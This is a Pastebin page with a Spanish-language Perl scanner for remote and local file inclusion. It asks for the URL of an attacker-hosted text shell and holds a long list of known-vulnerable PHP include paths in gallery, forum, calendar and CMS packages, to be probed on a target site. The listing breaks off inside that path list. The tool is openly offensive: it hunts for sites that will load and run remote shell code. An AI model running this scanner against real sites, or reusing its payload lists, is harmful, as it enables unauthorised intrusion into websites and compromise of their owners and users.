API tools faq
paste
Off3

(PERL) Scanner SQL,LFI,RFI.SHELL

Off3
Jun 1st, 2013
440
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 84.25 KB | None | 0 0
raw download clone embed print report
  1. #!/usr/bin/perl
  2. #                       ______              ______                                                
  3. #                      / ____ `.          .' ____ \                                                
  4. #                      `'  __) |          | (___ \_| .---.  ,--.   _ .--.   _ .--.  .---.  _ .--.  
  5. #            [ \ [  ]     |__ '.           _.____`. / /'`\]`'_\ : [ `.-. | [ `.-. |/ /__\\[ `/'`\]
  6. #             \ \/ /  || \____)            | \____) || \__. // | |, | | | |  | | | || \__., | |    
  7. #              \__/    \______.'           \______.''.___.'\'-;__/[___||__][___||__]'.__.'[___]    
  8. #                                                                                              
  9. #
  10. #
  11. # Author: ANASH
  12. # (EMAIL-FB) T0c(at)Hotmail(dot)Com (FB@StoOoped)
  13. # GreeTz: RooT-M4R
  14.  
  15.  
  16.  
  17.  
  18. if (!$ARGV[0]) {
  19.  
  20. print q(
  21.  
  22.  
  23.       88   8          eeee            8""""8                        
  24.     88   8 e  eeeee    8  eeeee     8      eeee eeeee eeeee eeeee
  25.     88  e8 8  8   8    8  8   8     8eeeee 8  8 8   8 8   8 8   8
  26.     "8  8  8e 8eee8 eee8  8eee8e        88 8e   8eee8 8e  8 8e  8
  27.     8  8  88 88       88 88   8    e   88 88   88  8 88  8 88  8
  28.     8ee8  88 88    eee88 88   8    8eee88 88e8 88  8 88  8 88  8                                                        
  29.                                                            
  30.  
  31.  
  32.         Modo de Uso: Scanner.pl <opcion> <Host>
  33.  
  34.         Ejemplo: Scanner.pl -r http://web.com
  35.    
  36.           Comando       Scanner
  37.  
  38.           -r            RFI Scanner
  39.           -l            LFI Scanner
  40.           -p            Panel Finder    
  41.  
  42.  
  43. *La opcion de -l y -r se puede incluir el path (http://web.com/index.php?page=)
  44.  
  45. );
  46.  
  47. exit 1;
  48.  
  49. }
  50. $opciones  = $ARGV[0];
  51. $web1      = $ARGV[1];
  52. print q(
  53.  
  54.  
  55.       88   8          eeee            8""""8                        
  56.    88   8 e  eeeee    8  eeeee     8      eeee eeeee eeeee eeeee
  57.    88  e8 8  8   8    8  8   8     8eeeee 8  8 8   8 8   8 8   8
  58.    "8  8  8e 8eee8 eee8  8eee8e        88 8e   8eee8 8e  8 8e  8
  59.      8  8  88 88       88 88   8    e   88 88   88  8 88  8 88  8
  60.      8ee8  88 88    eee88 88   8    8eee88 88e8 88  8 88  8 88  8                                                        
  61.  
  62. );
  63. system ("title Scanner Perl");
  64.  
  65. use HTTP::Request;
  66. use LWP::UserAgent;
  67.  
  68.  
  69.  
  70. system ("cls");
  71.  
  72. if ($opciones =~ /r/|/R/) {
  73. ##################Scanner RFI#######################
  74. system("cls");
  75. system("clear");
  76. print q(
  77.  
  78.                .----.        .--.                                    
  79.                `--  ;       : .--'                                    
  80.                  .' ' .--.   `. `.  .--.  .--.  ,-.,-.,-.,-. .--. .--.
  81.                ` _`,`.: ..'   _`, :'  ..'' .; ; : ,. :: ,. :' '_.': ..'
  82.                `.__.':_;    `.__.'`.__.'`.__,_;:_;:_;:_;:_;`.__.':_;  
  83.                                                            
  84.    
  85.  
  86.  
  87.         +-++-++-+ +-++-++-++-++-++-++-+
  88.         |R||F||I| |S||c||a||n||n||e||r|
  89.         +-++-++-+ +-++-++-++-++-++-++-+
  90.  
  91.  
  92. );
  93. print "\n";
  94.  
  95.  
  96.  
  97. print "\n\tInserta la direccion de la shell en txt\n\t";
  98. $shell1=<STDIN>;
  99.  
  100. if ($web1 !~ /http/)
  101. {
  102. $web="http://".$web1."/";
  103. } else { $web=$web1."/";}
  104.  
  105. if ($shell1 !~ /http/)
  106. {
  107. $shell="http://".$shell1."?";
  108. } else { $shell=$shell1."?";}
  109. chop $web;
  110. chop $shell;
  111. print "\tEscaneando ".$web."\n\n";
  112. print "\tCon shell ".$shell."\n\n";
  113. print "  * > Desea ver el Proseso?\tSi/No\n\t";
  114. $proseso=<STDIN>;
  115. print "\tScanner en Proseso...\n\n";
  116. chop($proseso);
  117. if ($web =~ /\?/) { print "\t$web=\n\t$shell"; }
  118. else { print "\t$web\n\t$shell"; }
  119. if ($proseso =~ /n|N/)
  120. { print "\n\n\t Analizando Web...."; }
  121.  
  122.  
  123.  
  124. #si lleva la web un signo de path como page.php?"="
  125. if ($web =~ /\?/) {
  126. $web=$web."=";
  127. @paths=$shell;
  128. print("\n\n\n\t * Analizando la Web.... \n\n   ".$web,"\n\n");
  129. }
  130. else {
  131. @paths=(
  132. 'includes/header.php?systempath=','Gallery/displayCategory.php?basepath=',
  133. 'index.inc.php?PATH_Includes=','nphp/nphpd.php?nphp_config[LangFile]=',
  134. 'include/db.php?GLOBALS[rootdp]=','ashnews.php?pathtoashnews=',
  135. 'ashheadlines.php?pathtoashnews=','modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
  136. 'demo/includes/init.php?user_inc=','jaf/index.php?show=',
  137. 'inc/shows.inc.php?cutepath=','poll/admin/common.inc.php?base_path=',
  138. 'pollvote/pollvote.php?pollname=','sources/post.php?fil_config=',
  139. 'modules/My_eGallery/public/displayCategory.php?basepath=','bb_lib/checkdb.inc.php?libpach=',
  140. 'include/livre_include.php?no_connectlol&chem_absolu=',
  141. 'index.php?from_marketY&pageurl=','modules/mod_mainmenu.php?mosConfig_absolute_path=',
  142. 'pivot/modules/module_db.php?pivot_path=','modules/nAlbum/public/displayCategory.php?basepath=',
  143. 'derniers_commentaires.php?rep=','modules/coppermine/themes/default/theme.php?THEME_DIR=',
  144. 'modules/coppermine/include/init.inc.php?CPG_M_DIR=','modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
  145. 'coppermine/themes/maze/theme.php?THEME_DIR=','allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=',
  146. 'allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=',
  147. 'myPHPCalendar/admin.php?cal_dir=','agendax/addevent.inc.php?agendax_path=',
  148. 'modules/mod_mainmenu.php?mosConfig_absolute_path=','modules/PNphpBB/includes/functions_admin.php?phpbb_root_path=',
  149. 'main.php?page=','default.php?page=','index.php?action=','index.php?p=',
  150. 'index.php?x=','index.php?content=','index.php?conteudo=',
  151. 'index.php?cat=','include/new-visitor.inc.php?lvc_include_dir=',
  152. 'modules/agendax/addevent.inc.php?agendax_path=',
  153. 'shoutbox/expanded.php?conf=','modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
  154. 'pivot/modules/module_db.php?pivot_path=','library/editor/editor.php?root=',
  155. 'library/lib.php?root=','e/e_handlers/secure_img_render.php?p=',
  156. 'zentrack/index.php?configFile=','main.php?x=',
  157. 'becommunity/community/index.php?pageurl=','GradeMap/index.php?page=',
  158. 'phpopenchat/contrib/yabbse/poc.php?sourcedir=',
  159. 'calendar/calendar.php?serverPath=','calendar/functions/popup.php?serverPath=',
  160. 'calendar/events/header.inc.php?serverPath=',
  161. 'calendar/events/datePicker.php?serverPath=',
  162. 'calendar/setup/setupSQL.php?serverPath=','calendar/setup/header.inc.php?serverPath=',
  163. 'mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=','zentrack/index.php?configFile=',
  164. 'pivot/modules/module_db.php?pivot_path=',
  165. 'inc/header.php/step_one.php?server_inc=',
  166. 'install/index.php?lng../../include/main.inc&G_PATH=','inc/pipe.php?HCL_path=','include/write.php?dir=',
  167. 'include/new-visitor.inc.php?lvc_include_dir=',
  168. 'includes/header.php?systempath=',
  169. 'support/mailling/maillist/inc/initdb.php?absolute_path=','coppercop/theme.php?THEME_DIR=',
  170. 'zentrack/index.php?configFile=','pivot/modules/module_db.php?pivot_path=','inc/header.php/step_one.php?server_inc=',
  171. 'install/index.php?lng../../include/main.inc&G_PATH=','inc/pipe.php?HCL_path=','include/write.php?dir=',
  172. 'include/new-visitor.inc.php?lvc_include_dir=',
  173. 'includes/header.php?systempath=','support/mailling/maillist/inc/initdb.php?absolute_path=',
  174. 'coppercop/theme.php?THEME_DIR=','becommunity/community/index.php?pageurl=','shoutbox/expanded.php?conf=',
  175. 'agendax/addevent.inc.php?agendax_path=','myPHPCalendar/admin.php?cal_dir=',
  176. 'yabbse/Sources/Packages.php?sourcedir=',
  177. 'dotproject/modules/projects/addedit.php?root_dir=','dotproject/modules/projects/view.php?root_dir=',
  178. 'dotproject/modules/projects/vw_files.php?root_dir=',
  179. 'dotproject/modules/tasks/addedit.php?root_dir=',
  180. 'dotproject/modules/tasks/viewgantt.php?root_dir=','My_eGallery/public/displayCategory.php?basepath=',
  181. 'modules/My_eGallery/public/displayCategory.php?basepath=',
  182. 'modules/nAlbum/public/displayCategory.php?basepath=',
  183. 'modules/coppermine/themes/default/theme.php?THEME_DIR=','modules/agendax/addevent.inc.php?agendax_path=',
  184. 'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
  185. 'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
  186. 'modules/coppermine/include/init.inc.php?CPG_M_DIR=','modules/mod_mainmenu.php?mosConfig_absolute_path=',
  187. 'shoutbox/expanded.php?conf=','pivot/modules/module_db.php?pivot_path=',
  188. 'library/editor/editor.php?root=',
  189. 'library/lib.php?root=','e/e_handlers/secure_img_render.php?p=','main.php?x=','main.php?page=',
  190. 'index.php?meio.php=','index.php?include=','index.php?inc=','index.php?page=','index.php?pag=',
  191. 'index.php?p=','index.php?x=','index.php?open=','index.php?visualizar=',
  192. 'index.php?pagina=','index.php?content=','inc/step_one_tables.php?server_inc=',
  193. 'GradeMap/index.php?page=','phpshop/index.php?base_dir=','admin.php?cal_dir=',
  194. 'contacts.php?cal_dir=','convert-date.php?cal_dir=','album_portal.php?phpbb_root_path=',
  195. 'mainfile.php?MAIN_PATH=','dotproject/modules/files/index_table.php?root_dir=','html/affich.php?base=',
  196. 'gallery/init.php?HTTP_POST_VARS=','pm/lib.inc.php?pm_path=','ideabox/include.php?gorumDir=',
  197. 'index.php?includes_dir=','forums/toplist.php?phpbb_root_path=','forum/toplist.php?phpbb_root_path=',
  198. 'admin/config_settings.tpl.php?include_path=','include/common.php?include_path=','event/index.php?page=',
  199. 'forum/index.php?includeFooter=','forums/index.php?includeFooter=','forum/bb_admin.php?includeFooter=',
  200. 'forums/bb_admin.php?includeFooter=','language/lang_english/lang_activity.php?phpbb_root_path=',
  201. 'forum/language/lang_english/lang_activity.php?phpbb_root_path=','blend_data/blend_common.php?phpbb_root_path=',
  202. 'master.php?root_path=','includes/kb_constants.php?module_root_path=',
  203. 'forum/includes/kb_constants.php?module_root_path=',
  204. 'forums/includes/kb_constants.php?module_root_path=','classes/adodbt/sql.php?classes_dir=',
  205. 'agenda.php?rootagenda=','agenda.php?rootagenda=','sources/lostpw.php?CONFIG[path]=',
  206. 'topsites/sources/lostpw.php?CONFIG[path]=','toplist/sources/lostpw.php?CONFIG[path]=',
  207. 'sources/join.php?CONFIG[path]=','topsites/sources/join.php?CONFIG[path]=',
  208. 'toplist/sources/join.php?CONFIG[path]=','topsite/sources/join.php?CONFIG[path]=',
  209. 'public_includes/pub_popup/popup_finduser.php?vsDragonRootPath=','extras/poll/poll.php?file_newsportal=',
  210. 'index.php?site_path=','mail/index.php?site_path=','fclick/show.php?path=','show.php?path=',
  211. 'calogic/reconfig.php?GLOBALS[CLPath]=','eshow.php?Config_rootdir=','auction/auction_common.php?phpbb_root_path=',
  212. 'index.php?inc_dir=','calendar/index.php?inc_dir=','modules/TotalCalendar/index.php?inc_dir=',
  213. 'modules/calendar/index.php?inc_dir=','calendar/embed/day.php?path=','ACalendar/embed/day.php?path=',
  214. 'calendar/add_event.php?inc_dir=','claroline/auth/extauth/drivers/ldap.inc.php?clarolineRepositorySys=',
  215. 'claroline/auth/ldap/authldap.php?includePath=',
  216. 'docebo/modules/credits/help.php?lang=','modules/credits/help.php?lang=',
  217. 'config.php?returnpath=','editsite.php?returnpath=','in.php?returnpath=',
  218. 'addsite.php?returnpath=',
  219. 'includes/pafiledb_constants.php?module_root_path=',
  220. 'phpBB/includes/pafiledb_constants.php?module_root_path=',
  221. 'pafiledb/includes/pafiledb_constants.php?module_root_path=',
  222. 'auth/auth.php?phpbb_root_path=','auth/auth_phpbb/phpbb_root_path=',
  223. 'apc-aa/cron.php?GLOBALS[AA_INC_PATH]=','apc-aa/cached.php?GLOBALS[AA_INC_PATH]=',
  224. 'infusions/last_seen_users_panel/last_seen_users_panel.php?settings[locale]=',
  225. 'phpdig/includes/config.php?relative_script_path=',
  226. 'includes/phpdig/includes/config.php?relative_script_path=',
  227. 'includes/dbal.php?eqdkp_root_path=',
  228. 'eqdkp/includes/dbal.php?eqdkp_root_path=',
  229. 'dkp/includes/dbal.php?eqdkp_root_path=',
  230. 'include/SQuery/gameSpy.php?libpath=',
  231. 'include/global.php?GLOBALS[includeBit]=',
  232. 'topsites/config.php?returnpath=',
  233. 'manager/frontinc/prepend.php?_PX_config[manager_path]=',
  234. 'ubbthreads/addpost_newpoll.php?addpollthispath=',
  235. 'forum/addpost_newpoll.php?thispath=','forums/addpost_newpoll.php?thispath=',
  236. 'ubbthreads/ubbt.inc.php?thispath=',
  237. 'forums/ubbt.inc.php?thispath=','forum/ubbt.inc.php?thispath=',
  238. 'forum/admin/addentry.php?phpbb_root_path=',
  239. 'admin/addentry.php?phpbb_root_path=','index.php?f=','index.php?act=','ipchat.php?root_path=',
  240. 'includes/orderSuccess.inc.php?glob[rootDir]=','stats.php?dir[func]dir[base]=',
  241. 'ladder/stats.php?dir[base]=',
  242. 'ladders/stats.php?dir[base]=','sphider/admin/configset.php?settings_dir=',
  243. 'admin/configset.php?settings_dir=',
  244. 'vwar/admin/admin.php?vwar_root=','modules/vwar/admin/admin.php?vwar_root=',
  245. 'modules/vWar_Account/includes/get_header.php?vwar_root=',
  246. 'modules/vWar_Account/includes/functions_common.php?vwar_root=',
  247. 'sphider/admin/configset.php?settings_dir=',
  248. 'admin/configset.php?settings_dir=','impex/ImpExData.php?systempath=',
  249. 'forum/impex/ImpExData.php?systempath=',
  250. 'forums/impex/ImpExData.php?systempath=','application.php?base_path=',
  251. 'index.php?theme_path=',
  252. 'become_editor.php?theme_path=','add.php?theme_path=',
  253. 'bad_link.php?theme_path=','browse.php?theme_path=',
  254. 'detail.php?theme_path=','fav.php?theme_path=','get_rated.php?theme_path=',
  255. 'login.php?theme_path=','mailing_list.php?theme_path=',
  256. 'new.php?theme_path=','modify.php?theme_path=',
  257. 'pick.php?theme_path=','power_search.php?theme_path=','rating.php?theme_path=','register.php?theme_path=',
  258. 'review.php?theme_path=','rss.php?theme_path=','search.php?theme_path=','send_pwd.php?theme_path=',
  259. 'sendmail.php?theme_path=','tell_friend.php?theme_path=','top_rated.php?theme_path=',
  260. 'user_detail.php?theme_path=','user_search.php?theme_path=','invoice.php?base_path=',
  261. 'cgi-bin//classes/adodbt/sql.php?classes_dir=',
  262. 'cgi-bin/install/index.php?G_PATH=','cgi-bin/include/print_category.php?dir=',
  263. 'includes/class_template.php?quezza_root_path=',
  264. 'bazar/classified_right.php?language_dir=','classified_right.php?language_dir=',
  265. 'phpBazar/classified_right.php?language_dir=',
  266. 'chat/messagesL.php?cmd=','phpMyChat/chat/messagesL.php?cmd=','bbs/include/write.php?dir=',
  267. 'visitorupload.php?cmd=','modules/center/admin/accounts/process.php?module_path]=','index.php?template=',
  268. 'armygame.php?libpath=','lire.php?rub=','pathofhostadmin/?page=','apa_phpinclude.inc.php?apa_module_basedir=',
  269. 'index.php?req_path=','research/boards/encapsbb-.._fixed/index_header.php?root=','Farsi/index.php?archive=',
  270. 'index.php?archive=','show_archives.php?template=','forum/include/common.php?pun_root=',
  271. 'pmwiki wiki/pmwiki-..beta/pmwiki.php?GLOBALS[FarmD]=','vuln.php?=','cgi-bin//include/write.php?dir=',
  272. 'admin/common.inc.php?basepath=','pm/lib.inc.php?sfx=','pm/lib.inc.php?pm_path=','artmedic-kleinanzeigen-path/index.php?id=',
  273. 'osticket/include/main.php?include_dir=','include/main.php?config[search_disp]include_dir=',
  274. 'phpcoin/config.php?_CCFG[_PKG_PATH_DBSE]=','quick_reply.php?phpbb_root_path=',
  275. 'zboard/include/write.php?dir=','admin/plog-admin-functions.php?configbasedir=',
  276. 'content.php?content=','q-news.php?id=','_conf/core/common-tpl-vars.php?confdir=','votebox.php?VoteBoxPath=',
  277. 'al_initialize.php?alpath=','include/db.php?GLOBALS[rootdp]=','modules/news/archivednews.php?GLOBALS[language_home]=',
  278. 'protection.php?siteurl=','modules/AllMyGuests/signin.php?_AMGconfig[cfg_serverpath]=',
  279. 'index.php?includes_dir=','classes.php?LOCAL_PATH=','extensions/moblog/moblog_lib.php?basedir=',
  280. 'modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=','phpWebLog/include/init.inc.php?G_PATH=',
  281. 'admin/objects.inc.php?Server=','trg_news/trgnews/install/article.php?dir=','block.php?Include=',
  282. 'arpuivo.php?data=','setup/index.php?GALLERY_BASEDIR=','include/help.php?base=',
  283. 'index.php?[Home]=','block.php?Include=','examples/phonebook.php?page=','PHPNews/auth.php?path=',
  284. 'include/print_category.php?dir=','skin/zero_vote/login.php?dir=','skin/zero_vote/setup.php?dir=',
  285. 'skin/zero_vote/ask_password.php?dir=','gui/include/sql.php?include_path=',
  286. 'webmail/lib/emailreader_execute_on_each_page.inc.php?emailreader_ini=',
  287. 'email.php?logincer_skin=','PhotoGal/ops/gals.php?news_file=','index.php?custom=',
  288. 'loginout.php?cutepath=','oneadmin/config.php?path[docroot]=',
  289. 'xcomic/initialize.php?xcomicRootPath=',
  290. 'skin/zero_vote/setup.php?dir=','skin/zero_vote/error.php? dir=',
  291. 'admin_modules/admin_module_captions.inc.php?config[path_src_include]=',
  292. 'admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=',
  293. 'admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=',
  294. 'admin_modules/admin_module_edit.inc.php?config[path_src_include]=',
  295. 'admin_modules/admin_module_delimage.inc.php?config[path_src_include]=',
  296. 'admin_modules/admin_module_deldir.inc.php?config[path_src_include]=',
  297. 'src/index_overview.inc.php?config[path_src_include]=',
  298. 'src/index_leftnavbar.inc.php?config[path_src_include]=',
  299. 'src/index_image.inc.php?config[path_src_include]=',
  300. 'src/image-gd.class.php?config[path_src_include]=','src/image.class.php?config[path_src_include]=',
  301. 'src/album.class.php?config[path_src_include]=',
  302. 'src/show_random.inc.php?config[path_src_include]=','src/main.inc.php?config[path_src_include]='
  303. ,'src/index_passwd-admin.inc.php?config[path_admin_include]=',
  304. 'yappa-ng/src/index_overview.inc.php?config[path_src_include]=',
  305. 'admin_modules/admin_module_captions.inc.php?config[path_src_include]=',
  306. 'admin_modules/admin_module_rotimage.inc.php?config[path_src_include]=',
  307. 'admin_modules/admin_module_delcomments.inc.php?config[path_src_include]=',
  308. 'admin_modules/admin_module_edit.inc.php?config[path_src_include]=',
  309. 'admin_modules/admin_module_delimage.inc.php?config[path_src_include]=',
  310. 'admin_modules/admin_module_deldir.inc.php?config[path_src_include]=',
  311. 'src/index_overview.inc.php?config[path_src_include]=',
  312. 'src/image-gd.class.php?config[path_src_include]=',
  313. 'src/image.class.php?config[image_module]=','src/album.class.php?config[path_src_include]=',
  314. 'src/show_random.inc.php?config[path_src_include]=',
  315. 'src/main.inc.php?config[path_src_include]=','includes/db_adodb.php?baseDir=',
  316. 'includes/db_connect.php?baseDir=','includes/session.php?baseDir=',
  317. 'modules/projects/gantt.php?dPconfig[root_dir]=',
  318. 'modules/projects/gantt.php?dPconfig[root_dir]=','modules/projects/vw_files.php?dPconfig[root_dir]=',
  319. 'modules/admin/vw_usr_roles.php?baseDir=','modules/public/calendar.php?baseDir=',
  320. 'modules/public/date_format.php?baseDir=',
  321. 'modules/tasks/gantt.php?baseDir=','mantis/login_page.php?g_meta_include_file=',
  322. 'phpgedview/help_text_vars.php?PGV_BASE_DIRECTORY=',
  323. 'modules/My_eGallery/public/displayCategory.php?basepath=','dotproject/modules/files/index_table.php?root_dir=',
  324. 'nukebrowser.php?filnavn=','bug_sponsorship_list_view_inc.php?t_core_path=',
  325. 'modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
  326. 'modules/coppermine/themes/maze/theme.php?THEME_DIR=','modules/coppermine/include/init.inc.php?CPG_M_DIR=',
  327. 'includes/calendar.php?phpc_root_path=','includes/setup.php?phpc_root_path=','phpBB/admin/admin_styles.php?mode=',
  328. 'aMember/plugins/db/mysql/mysql.inc.php?config=','admin/lang.php?CMS_ADMIN_PAGE=',
  329. 'inc/pipe.php?HCL_path=',
  330. 'include/write.php?dir=','becommunity/community/index.php?pageurl=',
  331. 'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=',
  332. 'modules/mod_mainmenu.php?mosConfig_absolute_path=',
  333. 'modules/agendax/addevent.inc.php?agendax_path=','shoutbox/expanded.php?conf=',
  334. 'modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=','index.php?page=',
  335. 'index.php?pag=','index.php?include=','index.php?content=',
  336. 'index.php?cont=','index.php?c=','modules/My_eGallery/index.php?basepath=',
  337. 'modules/newbb_plus/class/forumpollrenderer.php?bbPath=',
  338. 'journal.php?m=','index.php?m=','links.php?c=','forums.php?m=','list.php?c=',
  339. 'user.php?xoops_redirect=','index.php?id=',
  340. 'r.php?url=','CubeCart/includes/orderSuccess.inc.php?&glob[rootDir]=',
  341. 'inc/formmail.inc.php?script_root=','include/init.inc.php?G_PATH=',
  342. 'backend/addons/links/index.php?PATH=',
  343. 'modules/newbb_plus/class/class.forumposts.php?bbPath[path]=',
  344. 'modules/newbb_plus/class/forumpollrenderer.php?bbPath[path]=',
  345. 'protection.php?siteurl=','htmltonuke.php?filnavn=','mail_autocheck.php?pm_path=',
  346. 'index.php?p=','modules/nAlbum/public/displayCategory.php?basepath=',
  347. 'e/e_handlers/secure_img_render.php?p=','include/new-visitor.inc.php?lvc_include_dir=',
  348. 'community/modules/agendax/addevent.inc.php?agendax_path=',
  349. 'library/editor/editor.php?root=','library/lib.php?root=','zentrack/index.php?configFile=',
  350. 'pivot/modules/module_db.php?pivot_path=',
  351. 'myPHPCalendar/admin.php?cal_dir=','index.php/main.php?x=','os/pointer.php?url=',
  352. 'p_uppc_francais/pages_php/p_aidcon_conseils/index.php?FM=',
  353. 'db.php?path_local=','phpGedView/individual.php?PGV_BASE_DIRECTORY=','index.php?kietu[url_hit]=',
  354. 'phorum/plugin/replace/plugin.php?PHORUM[settings_dir]=',
  355. 'Sources/Packages.php?sourcedir=','modules/PNphpBB/includes/functions_admin.php?phpbb_root_path=',
  356. 'cgi-bin//gadgets/Blog/BlogModel.php?path=',
  357. 'modules/my_egallery/?root_path=','adminpanel/includes/add_forms/addbioform.php?root_path=',
  358. 'adminpanel/includes/add_forms/addfliersform.php?root_path=',
  359. 'adminpanel/includes/add_forms/addgenmerchform.php?root_path=',
  360. 'adminpanel/includes/add_forms/addinterviewsform.php?root_path=',
  361. 'adminpanel/includes/add_forms/addlinksform.php?root_path=',
  362. 'adminpanel/includes/add_forms/addlyricsform.php?root_path=',
  363. 'adminpanel/includes/add_forms/addmembioform.php?root_path=',
  364. 'adminpanel/includes/add_forms/addmerchform.php?root_path=',
  365. 'adminpanel/includes/add_forms/addmerchpicform.php?root_path=',
  366. 'adminpanel/includes/add_forms/addnewsform.php?root_path=',
  367. 'adminpanel/includes/add_forms/addphotosform.php?root_path=',
  368. 'adminpanel/includes/add_forms/addreleaseform.php?root_path=',
  369. 'adminpanel/includes/add_forms/addreleasepicform.php?root_path=',
  370. 'adminpanel/includes/add_forms/addrelmerchform.php?root_path=',
  371. 'adminpanel/includes/add_forms/addshowsform.php?root_path=',
  372. 'adminpanel/includes/add_forms/addreviewsform.php?root_path=',
  373. 'adminpanel/includes/add_forms/addwearmerchform.php?root_path=',
  374. 'adminpanel/includes/mailinglist/disphtmltbl.php?root_path=',
  375. 'adminpanel/includes/mailinglist/dispxls.php?root_path=',
  376. 'preload.php?configowned&func_prog=','index.php?configowned&func_prog=',
  377. 'missing.php?header_prog=','_inc/footer.php?theme_root=',
  378. '_inc/header.php?theme_root=','_inc/pfooter.php?theme_root=',
  379. '_inc/pheader.php?theme_root=','_inc/web_statsConfig.php?mod_dir=',
  380. '_inc/web_statsConfig.php?php_ext=','_mods/email.php?header_prog=',
  381. '_mods/files.php?header_prog=','_mods/headlines.php?header_prog=',
  382. '_mods/search.php?header_prog=','_mods/topics.php?header_prog=',
  383. 'admanagerpro/common.php?ipath=','templates/deluxe/postreply.php?templatefolder=',
  384. 'templates/deluxe/posting.php?templatefolder=',
  385. 'templates/deluxe/pm/newpm.php?templatefolder=',
  386. 'templates/default/postreply.php?templatefolder=',
  387. 'templates/default/posting.php?templatefolder=',
  388. 'templates/default/pm/newpm.php?templatefolder=',
  389. 'modules/Forums/admin/index.php?phpbb_root_path=',
  390. 'modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=',
  391. 'modules/Forums/admin/admin_board.php?phpbb_root_path=',
  392. 'modules/Forums/admin/admin_disallow.php?phpbb_root_path=',
  393. 'modules/Forums/admin/admin_forumauth.php?phpbb_root_path=',
  394. 'modules/Forums/admin/admin_groups.php?phpbb_root_path=',
  395. 'modules/Forums/admin/admin_ranks.php?phpbb_root_path=',
  396. 'modules/Forums/admin/admin_styles.php?phpbb_root_path=',
  397. 'modules/Forums/admin/admin_user_ban.php?phpbb_root_path=',
  398. 'modules/Forums/admin/admin_words.php?phpbb_root_path=',
  399. 'modules/Forums/admin/admin_avatar.php?phpbb_root_path=',
  400. 'modules/Forums/admin/admin_db_utilities.php?phpbb_root_path=',
  401. 'modules/Forums/admin/admin_forum_prune.php?phpbb_root_path=',
  402. 'modules/Forums/admin/admin_forums.php?phpbb_root_path=',
  403. 'modules/Forums/admin/admin_mass_email.php?phpbb_root_path=',
  404. 'modules/Forums/admin/admin_smilies.php?phpbb_root_path=',
  405. 'modules/Forums/admin/admin_ug_auth.php?phpbb_root_path=',
  406. 'modules/Forums/admin/admin_users.php?phpbb_root_path=',
  407. 'faq.php?foing_root_path=','index.php?foing_root_path=',
  408. 'list.php?foing_root_path=','login.php?foing_root_path=',
  409. 'playlist.php?foing_root_path=','song.php?foing_root_path=',
  410. 'gen_mu.php?foing_root_path=','view_artist.php?foing_root_path=',
  411. 'view_song.php?foing_root_path=','login.php?foing_root_path=',
  412. 'playlist.php?foing_root_path=',
  413. 'song.php?foing_root_path=','flash/set_na.php?foing_root_path=',
  414. 'flash/initialise.php?foing_root_path=',
  415. 'flash/get_song.php?foing_root_path=','includes/common.php?foing_root_path=',
  416. 'admin/nav.php?foing_root_path=',
  417. 'admin/main.php?foing_root_path=','admin/list_artists.php?foing_root_path=',
  418. 'admin/index.php?foing_root_path=',
  419. 'admin/genres.php?foing_root_path=','admin/edit_artist.php?foing_root_path=','admin/edit_album.php?foing_root_path=','admin/config.php?foing_root_path=',
  420. 'admin/admin_status.php?foing_root_path=','includes/header.php?systempath=','Gallery/displayCategory.php?basepath=',
  421. 'index.inc.php?PATH_Includes=','nphp/nphpd.php?nphp_config[LangFile]=','include/db.php?GLOBALS[rootdp]=',
  422. 'ashnews.php?pathtoashnews=','ashheadlines.php?pathtoashnews=','modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=',
  423. 'demo/includes/init.php?user_inc=','jaf/index.php?show=','inc/shows.inc.php?cutepath=','poll/admin/common.inc.php?base_path=',
  424. 'pollvote/pollvote.php?pollname=','sources/post.php?fil_config=','modules/My_eGallery/public/displayCategory.php?basepath=',
  425. 'bb_lib/checkdb.inc.php?libpach=','include/livre_include.php?no_connect=lol&chem_absolu=','index.php?from_market=Y&pageurl=',
  426. 'modules/mod_mainmenu.php?mosConfig_absolute_path=',
  427. 'pivot/modules/module_db.php?pivot_path=',
  428. 'modules/4nAlbum/public/displayCategory.php?basepath=',
  429. 'derniers_commentaires.php?rep=',
  430. 'modules/coppermine/themes/default/theme.php?THEME_DIR=',
  431. 'modules/coppermine/include/init.inc.php?CPG_M_DIR=',
  432. 'modules/coppermine/themes/coppercop/theme.php?THEME_DIR=',
  433. 'coppermine/themes/maze/theme.php?THEME_DIR=',
  434. 'allmylinks/include/footer.inc.php?_AMLconfig[cfg_serverpath]=','allmylinks/include/info.inc.php?_AMVconfig[cfg_serverpath]=',
  435. 'myPHPCalendar/admin.php?cal_dir=','agendax/addevent.inc.php?agendax_path=','modules/mod_mainmenu.php?mosConfig_absolute_path=',
  436. 'modules/xoopsgallery/upgrade_album.php?GALLERY_BASEDIR=','main.php?page=','default.php?page=','index.php?action=',
  437. 'index1.php?p=','index2.php?x=','index2.php?content=','index.php?conteudo=','index.php?cat=',
  438. 'include/new-visitor.inc.php?lvc_include_dir=','modules/agendax/addevent.inc.php?agendax_path=',
  439. 'shoutbox/expanded.php?conf=','modules/xgallery/upgrade_album.php?GALLERY_BASEDIR=','pivot/modules/module_db.php?pivot_path=',
  440. 'library/editor/editor.php?root=','library/lib.php?root=','e107/e107_handlers/secure_img_render.php?p=',
  441. 'zentrack/index.php?configFile=','main.php?x=','becommunity/community/index.php?pageurl=',
  442. 'GradeMap/index.php?page=','mwchat/libs/start_lobby.php?CONFIG[MWCHAT_Libs]=','zentrack/index.php?configFile=',
  443. 'pivot/modules/module_db.php?pivot_path=','inc/header.php/step_one.php?server_inc=','inc/pipe.php?HCL_path=',
  444. 'include/write.php?dir=','include/new-visitor.inc.php?lvc_include_dir=','includes/header.php?systempath=',
  445. 'support/mailling/maillist/inc/initdb.php?absolute_path=','coppercop/theme.php?THEME_DIR=',
